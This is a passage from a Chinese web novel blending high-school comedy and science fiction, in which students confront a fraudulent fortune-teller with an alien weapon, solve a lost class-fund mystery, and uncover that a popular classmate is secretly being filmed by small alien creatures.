相比星际文明,地球的科技没有什么参考价值,反而是历史,哲学和文艺作品还有些意思。他目前最喜欢的电视剧是《三国演义》,最近在看《Sex Education》,最好奇的是欧洲中世纪的历史,并且觉得《银河系漫游指南》是套不错的书。
《Sex Education》播到了一个有悬念的地方,究竟是谁传播了女同学的私照,男女主的感情线要如何发展,男主角能赶上朋友的生日派对吗?律易棋屏气凝神,就在男主目击到嫌疑人扔掉了手机那一刹,律易棋被咬了一口。
他吃痛,摘下手上的铜色戒指。戒指扭了扭,上面凸起的羊头花纹睁开了一只眼睛——是嗅虫。
“你能不能咬轻点?”律易棋把戒指捧在手心里,用食指拨弄它的细足。
嗅虫显然听不懂人话,它到处拱来拱去,又爬回律易棋中指上,把自己头尾相接,团成一个戒指。
嗅虫有反应,说明附近有它的天敌。地球怎么会有嗅虫的天敌?这种怪东西,蜻蜓和青蛙都懒得吃它。
律易棋放弃了电视剧,拉开卷帘门向外张望。外面一如既往,路灯坏了两盏,小区门口仅靠杂货店里的灯光照明,不想回家的学生坐在自行车上,腿支着马路牙子,嚼着魔芋爽聊天。还有几个额前留着鲶鱼须的女生在流动小摊前大快朵颐。到处充满了周五的快活气息。
他现在看到穿校服的就头痛,这偏远星系的偏远星球的偏远县城的偏远乡镇的偏远学校,怎么破事这么多?
他干脆到处走来走去,嗅虫咬他就说明走对了,嗅虫不咬他,他就回原地重走,走走停停,周围的人纷纷投来看精神病的目光。
精神病来来去去,从学校门口踱到后路。榕城往西的路拢共就三条,一条主干道,一条在主干道过了十字路口后往南走,是条商业街,十二年前建了新房子,还算繁华。剩下一条就是学校出门往西拐一直走的那条后路。
这条路通往榕城最大的商业圈——菜市场,一条气味刺鼻的小河从这里经过,榕城的经济状况完全能够从这条小河窥见一二。经济越好它越脏,经济越差它异味越淡。可见经济起落数十年,环保措施倒是一如既往地拉胯。
在一排老房子前,嗅虫咬住律易棋的手指不放了。
说是咬,其实是嗅虫蜷缩身体时身上的硬毛刺扎到了他,连皮都扎不破。
嗅虫很敏锐,和生物枪的改造原型是天敌,所以常被用来探测敌方的武器类型。
他把虫子撸下来塞进口袋里,左右看了看。人不算少,除了他压根没有鬼鬼祟祟的人。
这些老房子经常是一楼开饭馆,二楼往上住人。为了不安电梯,死活只建五层。外墙熏得黑不溜秋,看不出原本的颜色。来这吃饭的老乡不少,来往的电动车也多。
他正思索着,眼角忽然闪过一个光点。他往光点的方向一看,乐了。
一个高中女生,校服背后的反光条闪了他一下。
老房子是附近农村人来榕城做生意时的住宅,几乎没有中年夫妻带小孩的住在这边。三中学生往往在小区住,来老房子的三中学生少之又少。
他快步跟上。
女生轻车熟路,态度从容,就是背有点驼,她在烟熏火燎的楼道里轻盈地穿梭,五楼的房门前,她停住了。
501敞开着,里面是两室一厅的构造。门内没有开灯,客厅里只摆了一张沙发和一张桌子,本该放着电视的地方却有一块牌位,上书:摩诃迦毗罗舍身化恶菩萨。牌位两边各一支电子蜡烛。桌角放着一根真蜡烛,凝固的蜡油从桌子上堆到地板上,极厚一层,每一条烛泪的痕迹都清晰可见,像被兽爪撕开的血红冰山。
如果后面的墙上没有挂“大师妙手,庇佑一方”和“菩萨显灵,有求必应”的锦旗,一定会是个很好的恐怖游戏场景。
女生笑了笑,拉开校服外套,从里面掏出一把鳞片包裹的枪。
律易棋倒吸一口凉气。
生物枪!
她哪来的生物枪!
女生的背也直了起来。她一只手托着枪身,一只手卡在扳机上,脚步轻盈地走进501的大门。
木地板“吱呀”响起来。卧室的布帘子动了动,温馨的黄色灯光从门缝泄出,里面走出来一个矮胖的农村女人。她看到女生就笑了:“妮儿又来啦?”
女生语调轻柔:“又来啦。”
“什么事呀今天?”
“我要见见菩萨。”
女人笑,饱满的颧骨红润而有光泽:“菩萨是不能显身见你的,你看不到的。我从小就跟你说,要心诚要心诚,菩萨的像在你心里。”
“我要见见菩萨。”女生细声细气,“我想见见。”
女人像对待任性的孩子一样,走上前拍了拍女生的后背:“妮儿啊听我的,天晚了,你先回家。好好上学,菩萨就来见你啊。菩萨会给你托梦的。你戴上姨给你的红纸,压在枕头底下……”
女生笑语盈盈,生物枪布满肉刺的铳口顶在女人圆滚滚的肚子上:“我现在,就要见菩萨。”
女人低下头,她看不清那是什么东西,但她能感受到肉刺收缩的触觉。在极端的恐惧下,她一时没有反应过来,只看见比她高一个脑袋的女孩光洁的额头和冷冰冰的眼睛。
律易棋顿觉不妙,当即掐断了鸟形监视器的视觉,支着拐杖往楼上跑。然而他没跑两步,拐杖就被人一脚踢飞出去。
颜阎趿拉着鞋底都磨破的板鞋,穿着无袖背心,并在外面披了件校服外套,直接蹲下去抱住他完好的左腿:“你别想上去!”
律易棋困惑:“怎么又是你?你什么时候来的!”
某种意义上,颜阎其实早就来了。她去买猪耳朵,回来的路上看到了驼背走着的姐姐。她和对方打了个招呼:“姐姐!干嘛去啊!”
姐姐笑意温柔:“去把那个神婆杀了。”
颜阎肃然起敬:“你加油。”
途中她还看到了到处转悠的律易棋,她怀疑律易棋想干什么坏事,毁灭世界之类的。但是妈妈还在家里等她吃饭。
提问:让妈妈担心和律易棋毁灭世界,那个更危险?当然是前者!世界被毁灭了,妈妈也不用担心她了,但如果去管律易棋,妈妈等到菜都凉了,她一定会很难过。
于是颜阎转头就骑车回家了。等她吃完饭,躺在床上美滋滋地喝巧克力奶,她才想起回家路上这些事。
再次提问:姐姐去杀人和律易棋毁灭世界,哪个比较重要。当然还是前者!姐姐是无敌可爱的女同学,她杀人肯定是有理由的。万一她杀了人被抓进监狱可怎么办!律易棋就算真毁灭世界也无所谓,那样姐姐也不会被抓了,一劳永逸。
所以她随便套了件衣服就一头钻进书包。这段时间她和刘征兰把天文台进行了大扫除。如今天文台内很干净,里面的杂物也被分门别类了。她带上一堆乱七八糟的武器,通过天文台的大门来到了神婆家楼下。一出门就看见律易棋准备冲上楼妨碍姐姐。
“姐姐肯定有她自己的理由。”颜阎信誓旦旦,“谁没事放弃一切去当杀人犯啊?姐姐肯定被逼得受不了了。”
律易棋被气笑了:“哟,帮亲不帮理啊?”
颜阎说:“我帮理不帮亲,但跟我亲的肯定有理。”
这会儿律易棋没空跟他扯皮,人命关天。他一把将颜阎拎起来夹在腋下,打开斥力靴冲上楼梯。
姐姐已经把神婆逼到墙角,律易棋臂展长,伸手就去抓那把生物枪。这个时候颜阎突然一扭身,抱住他的胳膊,借着重力把他整个人拉到地上,双腿扳住他的腰,膝盖从后面顶住他肩胛,一个不太标准的肩胛固就形成了。
“姐姐冲啊!”颜阎大叫。
姐姐莫名其妙,但还是接收到了颜阎的善意。她仰起头笑了两声,声音还是细细的,一点也不张狂。在她毫无阴霾的笑声中,生物枪的枪口不断翕张。
“我要见菩萨。”她说,“让她出来见我,或者保佑你,就现在。”
律易棋迅速摆脱了颜阎,一个箭步冲上去,挡在姐姐和神婆之间。
颜阎的脑筋动得特别快,这个时候她立刻从校服口袋里拿出藤发人生产的罐装麻痹剂,天文台出品,浓度未知。
虽然律易棋及时踢中了她的手腕,她还是成功把小半罐泼到了神婆脸上。神婆在数秒内失去了知觉,虽然仍有思维,却不能控制手脚,变成了一个僵直的木偶。
“噗。”姐姐笑了,“你的菩萨呢?”
她的神情十分平静,律易棋的出现没有让她惊慌,甚至微笑着对他点了点头:“不好意思,马上就结束。”
律易棋悄然拿出了糖豆大小的麻醉弹。
姐姐没有继续攻击神婆,她转头把颜阎扶起来:“你怎么来了?”
颜阎比耶:“来支持你打击封建迷信。”
姐姐捂着嘴笑了:“谢谢你。”她领着颜阎走到牌位跟前,“你知道的多,帮我看看,这个是哪路神仙?”
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颜阎看了两眼:“她编的。我是不记得有这路神仙。迦毗罗是佛教创始者的祖国,好像属于……呃……古印度。摩诃是佛教用语,这俩词结合就特别怪。”
姐姐了然地点点头。
随后,柳条一样柔韧的手臂挥下牌位,运动鞋把它踩成两截。电子蜡烛,红蜡油和香炉顺着红桌布被扯下来,叮呤咣啷砸到地板上。墙上的锦旗连着打入墙体的钉子扯下,一股脑扔进蜡烛的火光里。然后是堆在沙发上的红纸,涂满荧光剂的假翡翠,坠着金鱼儿的红绳,一张张数额不大的钱和付款码。
律易棋收起麻醉弹,幽幽道:“一会儿记得灭火。”
姐姐粲然一笑:“谢谢叔叔。”
姐姐和颜阎在家里翻箱倒柜,最后从神婆卧室的小冰箱里找出一个黄油饼干盒,盒子里面是一块冻得很硬的方形肉块。肉块通体发白,摸起来十分有弹性。
姐姐大大方方地向律易棋和颜阎展示:“她说这是肉灵芝,自从我上高中后就开始吃,吃了一年,怕有传染病,实在受不了了。家里又不让我停,我只能亲自来拿。”
颜阎捅了捅律易棋:“能看出这是什么吗?”
律易棋没带电子分析仪,他也不认识。
姐姐没有纠结,笑着把那块肉切了一部分,喂给生物枪,剩下的就扔进火里了。她切的时候专门找出了菜板和菜刀,刀刃和菜板接触的“咚”一下,让人不寒而栗。
生物枪其实是基因改造后的生物,没有思想,只有本能和反射。它的发射方法类似于一个机械装置,只不过依靠着神经反射完成整个流程。枪托那部分的底部是它的嘴,而铳口是排泄口。
律易棋叹了口气,俯下身和熟练喂食生物枪的姐姐对视:“你平时喂它什么?”
“鱼。”姐姐道,“我爷爷喜欢钓鱼,家里有一个石头缸,专门放鱼。”
不是人肉就行。
律易棋轻声问:“你愿意把它给我吗?”
姐姐干脆地交出生物枪:“它饭量有点大,我要它也没用。”
把生物枪揣在怀里有点危险。但拿着这东西招摇过市也不太好,律易棋最后和姐姐一样,选择把它藏进外套里,变成驼背。
冰箱里的生肉被火烤得有点熟了,化冻后的肉居然自然分开,散成好几瓣。颜阎皱起鼻子闻了闻,看向姐姐。
每个去过夜市的人都很熟悉这个味道。
这个气味,完全就是烤鱿鱼嘛!
律易棋从厨房拿了根筷子,拨弄了几下火里的肉,肉质很有弹性,但是内部没有什么纹理可言。
他笑起来:“罐头里的合成肉!好几块肉被压缩成这样的!”
让姐姐担惊受怕的肉灵芝,居然只是鱿鱼罐头。
姐姐深吸了一口气。
她就地坐下,毫不淑女地盘起腿,哈哈大笑。
“哈哈哈哈哈哈哈。”她抹了一把脸,问颜阎,“你要吃吗?我去厨房给你拿点调料。”
“不要!”颜阎忙着灭火,这时顺带问了一句生物枪的事,“谁把这东西给你的?”
“康烁影。”姐姐声音轻轻,“但她不会玩,还有点怕这东西。我去找柳令全玩的时候看到了,她就送我了。”
律易棋不记得这个名字,但默默把它记下了。
火灭掉之后,律易棋检查了麻痹剂的余量,判断神婆还有一个小时才会醒。他护送两个地球土著下楼,并坚持送她们回家。
“不了吧。”颜阎道,“你瘸着腿到我们家楼下,其实还挺显眼的。”
姐姐同意。
最后双方各退一步,律易棋把她们送出后路,三人在学校不远处分别了。
“我不会说出去的。虽然我也不知道具体要往外说什么。”姐姐伸出小拇指,“你们也不要把我私闯民宅,恐吓居民,纵火未遂的事说出去,好不好?”
三人拉钩上吊。
颜阎回到家门口,敲了敲门,妈妈开门,看了看她,又看了看她的房间:“你不是在房间里吗?”
“我出去倒垃圾了。”
姐姐回家,敲了敲门。家长打开门,看了看她,也看了看房间:“你什么时候出去的。”
“刚才。给朋友送了本作业。”姐姐云淡风轻,“对了,孙神婆家里被烧了,最近她应该不开张了。把做法钱收起来吧。”
家长震惊:“你怎么知道?”
“我路过看见了。”姐姐把头发撩到耳后,“就算做法,我的成绩也不会上升。”
“哎呀你不懂,宁可信其有不可信其无。你不是进步了三名吗,说不定就是她的功劳……”
姐姐笑而不语。
17. 机械降逻辑
冬天近了,天气冷了,同学们都变成毛毛熊了。
女同学们人均拥有带耳朵的毛绒帽,哆哆嗦嗦挤进热烘烘的教室,将自己团成一个小小的球。坐在暖气边上的同学都把耳朵贴近水管,企图听到热水叮呤咚咙的美妙声音。
颜阎在桌子上冬眠。她的手脚比其他人都要凉,这种现象叫四肢末梢冰冷,其原理是优先给内脏供暖,好处是更不容易被冻死。于是她敢直接躺在桌子上呼呼大睡,反正又冻不死。
她的外表看起来年轻,心却早已老迈。具体表现在大家都闹哄哄地涌出教室,她抬头看了两眼,发现教室里特别安静,更适合睡觉了,于是傻笑两声又趴回去,眠之。
“别眠。”商博良把她摇醒,“醒醒醒醒,有热闹看。”
颜阎脚步虚浮地走出教室。
二班门口挤着一大堆人,踮脚看了两眼,发现人群中央有个男生扯着嗓子怒吼。她立刻失去了兴趣,贴着半墙蹲下来躲避寒风。
刘征兰慢悠悠地在她对面蹲下。
“别蹲那边。”颜阎往袖子里哈气,“小心踩着蚂蚁朋友。”
刘征兰赶紧站起来:“四班有蚂蚁?”
“不知道,小心为上。”
刘征兰蹲在她旁边,把暖手宝塞进她手里:“你知道我们班发生了什么吗?”
“不知道。”暖手宝隔着防尘袋没温度,直接拿着又太烫。颜阎把它隔着秋衣揣进怀里,“我还以为在打架呢。”
“不是。班费丢了。”
这可是件大事。颜阎的眼神一下子就聚焦了:“真的啊?怎么搞的?”
“你问我我问谁,早上一来就发现不见了。”刘征兰缩着脖子,“我是不在乎,有宋悦馨在,这些钱也就是拿来给老师送礼的。”
“但是?”
“但是康烁影在乎,她比较有号召力,正在盘查所有人的证词。”
颜阎立刻就懂了:“ok,你不用说了,我完全理解是什么场面了。”她用手肘拐了一下刘征兰,“你不是她的社交挂件吗?你怎么不去给她捧场?”
刘征兰痛苦地搓着手:“她今天实在太潮了,潮得我风湿骨痛,这大冷天的,太遭罪了。”
“活该。当社交挂件就是这样的。”
“总比你当独行侠好。”
两人苦中作乐地嘿嘿笑。
人群的喧闹声变近了。颜阎瞄了一眼:能上杂志封面的时装里裹着个人。康烁影一身芭比粉风衣搭同色裤子,白色羊绒毛衣配系扣白靴。色彩饱和度高得有点让人眼睛疼。
颜阎和刘征兰不自觉地把自己伪装成小土包——其实根本不用伪装她们就已经是了。
“我的天呐。”颜阎抱紧暖手宝,“这靴子保暖吗?”
康烁影显然不在乎。传说世界上最不怕冷的人TOP1就是她这样的都市丽人,TOP2和TOP3分别是冬泳达人和作文里在冬天洗衣服的妈妈。
她蹲下身,很抱歉地对刘征兰说:“为了公平,我也得对一下你的口供,你昨天晚自习去了哪里?”
刘征兰挠头:“我和你在教室啊。”
“放学时呢?”
“和你说完再见就和颜阎走了。”
康烁影优雅地撩了一下头发:“谢谢。”然后就走了,徒留颜阎和刘征兰在原地,伸脖子瞪眼,像两只大虾。
“我眼花了吗?”颜阎狂揉眼睛,“我怎么好像看到她撩头发撩出了星星特效?”
刘征兰揪自己耳朵:“她平时不这样说话啊?怎么一到外面就怪里怪气的。”
两个人又是一阵风湿骨痛。
刘征兰觉得康烁影是故意到她们面前晃一下的。她明明可以等自己回到教室再问,却偏要跑到四班门口转一圈,真相只有一个!
“她喜欢你,想和你玩。”刘征兰对颜阎说。
颜阎再变大虾:“啊?”
这一切其实有迹可循。从康烁影在馄饨店跟她打招呼,再到特意提醒她仪容仪表大会的事,逻辑其实挺合理的。况且康烁影这种校园风云人物可能本来就有收集怪人朋友的癖好,刘征兰、张晓怡和柳令全都是被她主动收集的。她就像在玩游戏,拿精灵球到处收服宝可梦。
“我不要当收集物!”颜阎抗议,“我不会跳白金成就!”
“晚啦。”收集物刘征兰冷笑,“你已经在图鉴里了,等着被抓吧!”
颜阎消化这份冲击的时间里,班费大搜查还在继续。
周天子勃然大怒,她一向觉得班里学生虽然不成器,至少善良,结果班里出了一位江洋大盗。她深感班级将有倒悬之急,当即派出锦衣卫(纪律委员)去眼观六路(查监控)。若盗贼前来自首,按周礼将从宽处理。如若找不出这名梁上君子,她将勒令全班人人贡献一份力量,补上这个窟窿。生活委员还要再补交一份失职费。
生活委员就是早上怒吼的那个男同学,此人高大黝黑,杵在那儿像个铁塔。铁塔也代替了他的真名在同学间传播。
刘征兰乐见他倒霉,但不乐于自己交钱。于是多次进入书包里的天文台,企图找到测谎仪之类的道具,但以失败告终。
“到底是谁没事偷东西?”张晓怡恶声恶气,她实在是气炸了。从她手里扣钱比杀了她还难受,再加上今天康烁影风头出尽,她整个人难受到挠桌子。
康烁影安慰她:“没事没事,迟早会找到的。”
张晓怡挠得更厉害了,喉咙里发出痛苦的呻/吟。
康烁影的盘查进行完毕,挑出了几个没有人证物证的倒霉蛋子摆在桌上。柳令全看了看:“怎么还有我!”
“你听我分析!”康烁影把桌子拍得梆梆响,周围同学全被吸引过来。
“首先是柳令全,她昨天下午在自己玩。但是手机相册的时间显示她曾拍摄夜空。树的位置和楼房对比,能看出她是在主席台拍摄的。再加上有人看见她在操场一个人跑步听歌,搭配手机上的音乐软件使用时间,可以确定她晚自习前没有回过教室。而晚自习后她一直和我在一起,没有作案时间。”
刘征兰小声问柳令全:“你跑步干嘛?”
柳令全也小声回复:“减肥。”
“然后是甘忘营。她是当天负责关灯锁门的值日生,但是八点三十五班里还有自习的人,所以她没关灯就和朋友走了。我们假设是她拿走了班费,那她必然会带上书包一起走,因为班费是装在信封里的,信封的大小装不进任何一个口袋。
但她昨天带书包了吗?我早上进教室发现,她的书包在座位底下放着。而她到教室时夹着几本书,嘴里还叼着热包子,可见她是带着作业回家的。如果她在伪装,那热包子就是个多余道具,完全没必要出现!她的举动十分自然!因此甘忘营的嫌疑可以排除!”
大家的目光不自觉集中在甘忘营身上。
甘忘营伸直脖子把豆沙包咽下去,举起双手示意:“别看我嗷,我就吃个包子。人家都说不是我了。”
推理小说能够风靡全球不是没有理由的。环环相扣的逻辑链条丝滑嵌入每一个时刻,大家都被这种精神按摩爽到,纷纷叫好。推理的气氛愈演愈烈,睡意昏沉的同学们骤然振奋,拿来豆浆和早餐奶作配,众星捧月地围绕着康烁影。其中还混着其他班的看热闹者。
“陈彦邢一直在教室,但自习的人都没注意他有没有中途离开。我和他认识得比较久,了解他的性格。我大胆推测,他没胆子一口气拿走
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整个信封里的钱,而是会一张一张慢慢拿。就算他真的拿走了这些钱,他又会拿来干什么?他的兴趣全在二次元上,不管是氪金抽卡还是买他担的周边产品,都需要虚拟货币,他要如何把百元大钞兑换到手机里?”
陈彦邢戴着眼镜,头发特别长,看起来好几天没洗,非常标准的宅男形象。他干笑两声,不知道该不该感激康烁影的辩护。
“最后就是铁塔……咳……生活委员本人。”
铁塔立刻站了起来。
“你敢怀疑我!”他咆哮,“我会偷钱吗!”
他呼哧呼哧地喘着粗气,声音像古老的蒸汽机。
刘征兰捂住耳朵,她感觉自己的脑壳都被那一声怒吼震得嗡嗡响。
“坐下!”康烁影怒喝,涂着指甲油的食指瞄准镜一样指向他,“我在分析。每个人都被分析过了!难道你在心虚吗!”
铁塔怒气冲冲地坐下了。
“班费平时放在生活委员桌洞里。根据唐珺霞的证言,她晚自习课间看到班费掉到地上,被生活委员捡起来。生活委员,你回忆一下,你把班费放回桌洞了吗?”
生活委员黝黑的脸让大家看不出脸红,但他没有怒气冲冲地回答,大家立刻明白他忘了把班费放回桌洞。
“我兜里根本没有!”他辩解。
“我没说是你拿的。”康烁影翻了个白眼,“你揣到哪个口袋里了?校服自己的口袋放不下才对。”
铁塔试图挽回尊严:“我妈在校服里面缝了个口袋。”
“有拉链吗?”
他没说话。一般自己家缝的口袋都不用拉链。
“你晚上去跟四班的男生打篮球了,回来的时候一定出汗了。出汗就会把外套脱掉拿在手里,根据我对你们的观察,你们总是把外套甩来甩去!班费一定是在那个时候掉出来了。今天你进教室的时候在门口留了个湿脚印,还被门口坐着的同学骂了。昨天没有下雨,为什么会有一个湿脚印呢?答案是教学楼旁边的草坪起霜了。草坪起了一层霜,你还要踩着草坪走过来,这证明你就是有踩草坪的习惯。昨天晚上你很有可能也是踩着草坪回去的!”
康烁影一锤定音:“去搜搜草坪,说不定班费就在那里!”
好信儿的同学们呼啦啦涌下楼梯,扑进草坪里一通翻找。泥土草叶和没睡醒的小虫子都被骚扰了一遍,最后是柳令全欢呼一声,从排水管附近捧出那个黄褐色信封:“找到了!”
大家欢呼:“不用补交班费咯!”
柳令全欢呼:“康烁影!女神!!!”
铁塔不欢呼,他觉得特别丢脸。
刘征兰和颜阎也不欢呼,两人抱着头,整张脸扭成一团,混乱了一阵后颜阎开始摇晃刘征兰:“我在哪儿?这是现实吗?我还以为这是二次元呢。”
整段的分析过于连贯,观察过于细致,逻辑过于清晰,这令她们感到了极端的不适应。
现实是一个巨大的混沌系统,并不是每件事都有动机,也并非每个问题都有答案。如果这是一本小说(最好不是),每一个角色的举动才与后续的剧情产生对应,第一幕出现的枪才会在第三幕发射。
但这里是现实,现实才是没有逻辑的。世界上的模型枪多了,难道每一把都会发射吗!骤然被严丝合缝的逻辑统治,两人感觉一切都好陌生。
造成逻辑降临的罪魁祸首显然是康烁影。她正在人群中央,处变不惊地接受着人群的赞美和钦佩,整个人光彩夺目。奇妙的打光和朦胧滤镜又隐隐约约出现在她周围,衬得她愈发像是文艺作品女主角。
“……我觉得有古怪。”刘征兰喃喃道。
“我也觉得。”颜阎一边说一边偷吃甘忘营的豆沙包。
18. 朋友,我想与人生相谈
刘征兰和颜阎把康烁影的女主角综合症告诉了律易棋,律易棋想了半天都没想出来,有什么东西能让现实突然拥有逻辑。
“如果真有这个东西,我倒是很需要。”律易棋说,“我们社会活动家太想要这东西了。我愿意用人头来换。”
“要你何用!”颜阎气冲冲地白吃了一根棒棒糖。
律易棋慷慨地跟她们分享了一些别的东西。用来探查植物病传播的检测枪,几秒就出X光片的快速扫描仪,还有探测寄生生物的嗅虫。
“都用上一遍就知道她到底是什么毛病了。”律易棋信誓旦旦,“都用上还查不出来,那我就没办法了。”
两人显然对那些东西兴致缺缺,她们正对着律易棋找出来的一副眼镜怪笑。
眼镜有点沉重,所以上面有一对鼻托。问题在于,眼镜本体居然连着一副面具!
面具有着硅胶大鼻子,血红大嘴唇和满是褶子的下巴,丑得别具一格,活像上岸的水滴鱼。
“那个是热成像仪,你们要是喜欢就借给你们玩玩。”律易棋强调,“记得送回来。”
“周六就给你送回来。”刘征兰说,“康烁影刚约了颜阎,周五下午去喝奶茶。”
在小县城,约奶茶是一种比较流行的社交行为,它一般不止包含喝奶茶,还包含“在奶茶店聊天说话谈心”这一附加内容。
颜阎痛不欲生。康烁影是典型顺性别女异性恋,兼有现充属性和社交达人的增益,和她简直是一对反义词。但她不讨厌康烁影,不忍心看她被不明病毒侵蚀,于是忍痛答应了她。
周五来得慢悠悠、轻悄悄,来的路上还在路边歇了会儿。
颜阎背着斜挎包站在二班门口,正粗暴地把周末作业叠起来往包里放。路过的王海同在她面前拍了个巴掌,把她从和卷子的斗争中唤回:“等刘征兰?她已经走了。”
颜阎摇头:“等康烁影。”
王海同一副见了鬼的表情,甩着手念:“妖魔鬼怪快离开。”就这么走远了。
周五下午的阳光总是格外好,橘红色的光线带着果汁的酸甜心情感染着学生。在这样的自然光下,康烁影施施然出场。
颜阎惊讶地发现,她今天没有特效。
康烁影没有化妆,也没穿特别时尚的衣服。她和所有人一样包在圆滚滚的大衣里,跺着僵硬的脚,脸一大半都在围巾中。看到颜阎,她便笑吟吟地走过来:“等很久了吗?”
“不久。”颜阎摇头,“去哪家店?”
“找家近的吧。”
最近的奶茶店也要穿越半个榕城。最后决定让康烁影坐在颜阎的自行车后座上。后座上又硬又硌,没有踩脚点只能蜷起来的腿有点酸痛。康烁影压住自己乱飞的头发,紧紧地抓住自行车坐垫下的弹簧。
奶茶店是康烁影选的,榕城总共就那么几家奶茶店,大家都熟悉得很。颜阎点了普通的椰果奶茶,康烁影点了白桃乌龙。两个人找了张桌子默默坐下了。
在等待奶茶的时间里,康烁影一直在微笑。
“我一直想和你说话。”她对颜阎说。
“你说。”颜阎做出“请”的手势。
康烁影刚要开口,门外便走进来另一个学生。康烁影的膝盖一跳,重重撞在桌子上,疼得她抱着膝盖龇牙咧嘴。
“没事吧没事吧?”颜阎越过桌子观察康烁影的表情。对方摆摆手,示意她没事。
“我太紧张了。”康烁影愁眉苦脸。
颜阎面对“现充顺性别女异性恋”的紧张一下子就消失了。这并不是因为康烁影多么喜欢她,是因为她发现,康烁影也就是普通的人嘛!不是外星人也不是机器人,她有偏好有兴趣,只要是个人,就不可能滴水不漏。
“哦?”她放松地撑起下巴,“为什么呢?”
“因为你特别呀!”康烁影学她的姿势,“你都不知道吧?我们班女生都很喜欢你!”
“谢谢她们,告诉她们我不是女同。”颜阎假装潇洒地撩了一把不存在的头发,“我只能让她们为我伤心难过了。”
康烁影笑得肩膀发颤:“不是这个意思啦。是说她们都觉得你是个好人。虽然你很多时候太与众不同了,大家有点不敢接近你,但你对每个人都挺好的,所以每个人也都很喜欢你。”
这是个很新的评价,颜阎很喜欢。
奶茶好了,康烁影把两杯都拿过来放在她们面前。她的那杯有点太甜了,麻薯堵住吸管,她吸到腮帮子疼也没弄出来,只能拔出吸管,从反面把麻薯吃掉了:“对了,你不是女同吗?我们班女生都以为你喜欢女生。”
颜阎摆手:“爱情的角度来说,男女我都不喜欢。我是无性恋。”
“无性恋不是没有性吸引吗?”
“无性恋无浪漫倾向。”颜阎快速补充,“这个名词太长太怪,说出来压根没人记得,所以我对外就说无性恋。”
“你对女生特别好。对男生又……呃……”康烁影把“厌恶”替换了一下,“比较排斥。我们都以为你喜欢女生呢。”
“不是啦,我不是讨厌他们,我是对事不对人。但他们实在太恶心了,完全是无意识地在向女性施压,开黄腔啊,歧视啊,性化啊,数不胜数。我每次都是在他们做出恶心事后才骂他们的。”
康烁影微笑着看向她:“其他女生都不敢说,只有你敢说。这就是为什么你这么与众不同,好厉害哦。”
戴高帽,这完全是在戴高帽!颜阎吸了一大口奶茶,身上冷汗直冒。她确实很受用啦,但是目的性这么明确,她总害怕后面有别的阴招。
“我平时有点浮夸,那是因为我很享受成为主角的感觉。”康烁影卷着头发,“我知道你们都怎么想的,觉得我有点假。但是刘征兰很聪明,你又很勇敢,我不像你们这些天生就很独特的人,只能从行为打扮上来吸引别人注意力了。很幼稚对吧。”
“等一下。”颜阎比出“停止”的手势,“幼不幼稚先不说,但我们这也不是天生的啊。刘征兰确实很聪明,但她被看到,是因为她努力学习了。我也不是多勇敢,只是因为我对这些事更敏锐,除了我没人可以察觉,所以我才去做的。”
“
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如果是我,我会懒得学习。面对细小的歧视,我会默不作声。”康烁影道,“你们能去做,这就已经是一种独特了。”
天黑了,天空呈现出一种令人压抑的空茫。路灯一盏盏打开,灯牌闪着晃眼的光。整个街道进入了五光十色的假象中,仿佛这不是一个衰败的城镇。
“独特是痛苦的。”颜阎平静地说。
“但你们仍然去做了。”康烁影道,“我知道这很幼稚,一旦脱离高中,我的这一套就不管用了。大学比我更会打扮、更漂亮的女生,不知道有多少。但我还是……我还是感到恐惧。我能感受到未来的逼近,我很快就会成为一个毫无特点的普通人,拿着微薄的薪水,做着我不喜爱的工作,一生都毫无建树,平平无奇地死去。一想到这些,我就感到害怕……”
奶茶喝光了,两个人都决定续摊,于是骑车去烧烤店占了个位置,但只点了十串鸡皮。坐在两人后面的少年看她们太可怜,还送了一片烤馒头。
“如果你在乎我的意见的话。”颜阎把鸡皮从签子上扯下来。鸡皮外酥内软,咬下去满嘴流油,脂肪的香气和软烂的口感相得益彰,她吃得津津有味,“那我就什么也没法跟你说。”
本以为会等来长篇大论的康烁影愣住:“啊?”
“说实话,我甚至不觉得女生打扮漂亮是件好事。但这是你的人生,我说几句话就能消解你对独特的渴望吗?我给你几句人生格言就能让你觉得自己是独一无二的吗?那都是骗人的。”颜阎把孜然递过去,“我确实有享受独特带来的优越感啦。但是这也带来了很多痛苦,比如我的性格让我没什么朋友,我几乎无法享受已有的电视剧,电影和小说,因为我看到谈恋爱就恶心。我未来大概也没办法融入社会,只能在地下室饿死。总之,你想像我和刘征兰一样特别,你大概会承受很多痛苦。你先想清楚,普通的快乐和独特的空虚,你选择哪个,再谈其他的事吧。”
康烁影没有说话,沉默地往鸡皮上撒孜然。撒着撒着,颜阎急了:“你怎么全撒上了!都撒上了我吃什么!你赔我!”
最后颜阎只付了一串鸡皮的钱,两个人在十字路口分别。分别前,颜阎给她拍了张照片,康烁影闹着让她删掉:“我刚才没摆姿势,不好看!”
结果相机这时出了茬子,怎么也打不开。康烁影逼颜阎拍丑照,否则这事不算完。颜阎只好戴上律易棋的丑眼镜,和康烁影拍了个合照。
“谢谢你。”康烁影站在昏黄的灯光下,影子在她脚下变成一个圆圆的黑色圆圈。头顶打下的路灯让她的正脸笼罩在阴影中,“下次还能找你出来玩吗?”
喧嚣的夜,混乱的灯光中,她像一张剪纸那样矗立着,围绕着她的人造灯光,像是通往天堂的飞升光束。
颜阎说:“有空我一定来。”
康烁影笑了笑,和她挥手道别了。
颜阎转身,紧急给刘征兰发消息:“爆!你以为自己是康烁影的社交挂件,其实她是你的精神粉丝!”
刘征兰:“?”
刘征兰:“我在写作业呢,你发什么疯?”
19. 主角制造
康烁影转过拐角,躲进夜深人静的小巷子。这里没有路灯,只有一家关门的锁匠铺。她三两步走到巷子尽头,凭空一抓,将肩上的空气握在手里。
“不是说好今天不拍摄吗?”她阴恻恻地捏了捏手里的东西。
那个东西似乎挣扎了一阵,然后可怜兮兮地放弃了,毛茸茸地蜷在康烁影手里:“是银芯梅的主意……它说这种谈人生的戏份很适合主角的情感变化……”
“把它叫出来!”康烁影怒喝,“把你的折射影像也摘掉!”
小东西哆哆嗦嗦地摘掉了自己的投射影像,一只耳朵中间顶着一个小小尖帽子的蜜袋鼯在康烁影手中现形。圆溜溜的大眼睛充满水光,粉色鼻头讨好地供着康烁影的手背:“别生气,别生气……”
“摄像头关掉!这不是拍摄的一部分!我想跟别人当朋友不是戏剧效果!”
“这个……”
“关掉!”
蜜袋鼯大叫:“快关掉!”
空中传来机器运转的嗡嗡声,磁力改变带来的不适持续了几秒。很快,一个脑袋大小的圆形机器就停在与她视线同高的位置上。
“你们再这样。”康烁影阴沉着脸,“我就不拍了。”
